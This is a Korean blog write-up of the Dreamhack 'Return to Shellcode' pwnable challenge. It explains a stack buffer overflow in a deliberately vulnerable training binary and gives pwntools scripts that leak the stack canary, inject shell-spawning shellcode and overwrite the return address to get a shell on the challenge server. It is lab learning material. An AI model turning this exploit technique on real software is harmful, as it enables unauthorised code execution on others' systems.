또 뭐하지

[Dreamhack] Return to Shellcode 본문

Write-up/Pwnable

[Dreamhack] Return to Shellcode

mameul 2024. 5. 22. 16:07
728x90

풀이

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

주어진 문제 코드를 살펴보면 버퍼크기는 0x50인데 입력받는 크기에 제한이 없다. 또, read(0,buf,0x100) 부분에서 0x100까지 읽어올 수 있는데 여기서 canary leak이 발생할 수 있다. 

바이너리를 실행시켜봤을 때 buf와 $rbp 사이의 간격이 96이다. 

 

`checksec ./r2s` 명령어를 통해 보호기법을 확인해보면 위와 같이 나온다. amd 64 아키텍처를 사용하고, 카나리를 사용하니 스택프레임은 아래와 같이 유추할 수 있다.

 

<스택프레임>  

 

canary의 첫번째 null 값을 처리해주면 canary leak에 성공할 수 있을 것 같다. 그러면 일단 canary leak에 대한 익스프로잇 코드를 작성해보자. 

from pwn import *

p = process('./r2s')

payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null

p.sendlineafter(b':',payload)

p.interactive()

 

코드를 실행해보면 canary leak이 발생한 것을 볼 수 있다. 

 

이제 canary를 얻었으니, buf에 셸코드를 입력하고 return address에 buf 주소를 덮어써주면 셸코드가 실행될 것이다.  

from pwn import *

p = remote('host3.dreamhack.games', 14421)
context.arch = 'amd64'

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16) ## return address에 넣어줄 buf 주소 저장

payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null

p.sendafter(b'Input: ',payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

sh = asm(shellcraft.sh())
payload = sh.ljust(0x58, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
p.sendlineafter(b'Input:', payload)

p.interactive()

익스플로잇 코드는 위와 같이 작성했다. 

코드를 실행해보면 셸을 얻고 flag를 확인할 수 있다.

 


배운것

1. `sendafter`와 `sendlineafter`함수를 잘 구분해서 사용하자.
     read 함수 일때는 send / scanf 함수일 때는 sendline
     ex) `ABC\n`을 입력, read는 0x4142430a, scnaf는 0x414243로 읽어옴. (0x0a : 줄바꿈문자)

2. `def slog(n,m): return success(':'.join([n,hex(m)]))` 를 간단히 정의해서 로그를 확인하면서 익스플로잇하면 편하다

3. `shellcraft.sh()` : 셸을 실행하는 셸코드를 생성

4. `asm()` : 어셈블리 코드를 기계어 코드로 변환

5.  `str.ljust(width, fillchar=' ')` : 문자열(str)을 왼쪽으로 정렬하고, 남은 공간을 지정한 문자로 채움. 여기서 width는 채우려는 전체 문자열의 길이. 

6. u64 : 8바이트 길이의 바이트 문자열은 64비트 정수로 변환, 리틀엔디안 형식으로 인코딩된 데이터 해석에 유용

7. p64 : 64비트 정수를 리틀 엔디언 형식의 8바이트 문자열로 변환

(u64와 p64는 아직 적응이 필요하다)

 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11